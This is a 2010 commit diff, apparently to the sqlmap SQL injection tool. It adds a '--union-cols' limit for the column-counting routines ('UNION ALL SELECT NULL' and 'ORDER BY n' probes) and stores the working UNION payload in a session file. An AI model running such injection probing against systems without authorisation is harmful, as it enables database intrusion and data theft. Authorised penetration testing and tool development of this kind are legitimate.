Added --union-cols switch to specify the max number of columns to test for UNION query sql injection.

Now stores/resumes also the exact UNION payload to session file.
This commit is contained in:
Bernardo Damele 2010-11-13 23:24:41 +00:00
parent df5dc10111
commit 8d07272c82
6 changed files with 36 additions and 10 deletions

View File

@ -78,7 +78,8 @@ optDict = {
"timeTest": "boolean",
"timeSec": "integer",
"unionTest": "boolean",
"uTech": "string"
"uTech": "string",
"uCols": "integer"
},
"Fingerprint": {
@ -115,7 +116,7 @@ optDict = {
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
"commonColumns": "boolean"
},
"User-defined function": {

View File

@ -207,7 +207,7 @@ def setError():
if condition:
dataToSessionFile("[%s][%s][%s][Error based injection][Yes]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace])))
def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False):
def setUnion(comment=None, count=None, position=None, negative=False, falseCond=False, payload=None):
"""
@param comment: union comment to save in session file
@type comment: C{str}
@ -270,6 +270,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond=
kb.unionFalseCond = True
if payload:
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union payload")
) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), payload))
kb.unionTest = payload
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@ -483,6 +495,13 @@ def resumeConfKb(expression, url, value):
logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg)
elif expression == "Union payload" and url == conf.url:
kb.unionTest = value[:-1]
logMsg = "resuming union payload "
logMsg += "%s from session file" % kb.unionTest
logger.info(logMsg)
elif expression == "Remote temp path" and url == conf.url:
conf.tmpPath = unSafeFormatString(value[:-1])

View File

@ -243,6 +243,9 @@ def cmdLineParser():
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-cols", dest="uCols", type="int", default=50,
help="Maximum number of columns to test for")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")

View File

@ -124,7 +124,7 @@ def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False):
columns = None
query = agent.prefixQuery("UNION ALL SELECT NULL")
for count in range(0, 50):
for count in range(0, conf.uCols+1):
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")]
@ -149,7 +149,7 @@ def __unionTestByOrderBy(comment, negative=False, falseCond=False):
columns = None
prevPayload = ""
for count in range(1, 51):
for count in range(1, conf.uCols+2):
query = agent.prefixQuery("ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond)
@ -224,9 +224,7 @@ def unionTest():
warnMsg += "inband sql injection vulnerability"
logger.warn(warnMsg)
if validPayload is None:
validPayload = ""
elif isinstance(validPayload, basestring):
kb.unionTest = agent.removePayloadDelimiters(validPayload, False)
validPayload = agent.removePayloadDelimiters(validPayload, False)
setUnion(payload=validPayload)
return kb.unionTest

View File

@ -46,7 +46,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
if resetCounter:
reqCount = 0
if not kb.unionCount:
if not kb.unionTest:
unionTest()
if not kb.unionCount:

View File

@ -262,6 +262,11 @@ unionTest = False
# Default: NULL
uTech = NULL
# Maximum number of columns to test for
# Valid: integer
# Default: 50
uCols = 50
[Fingerprint]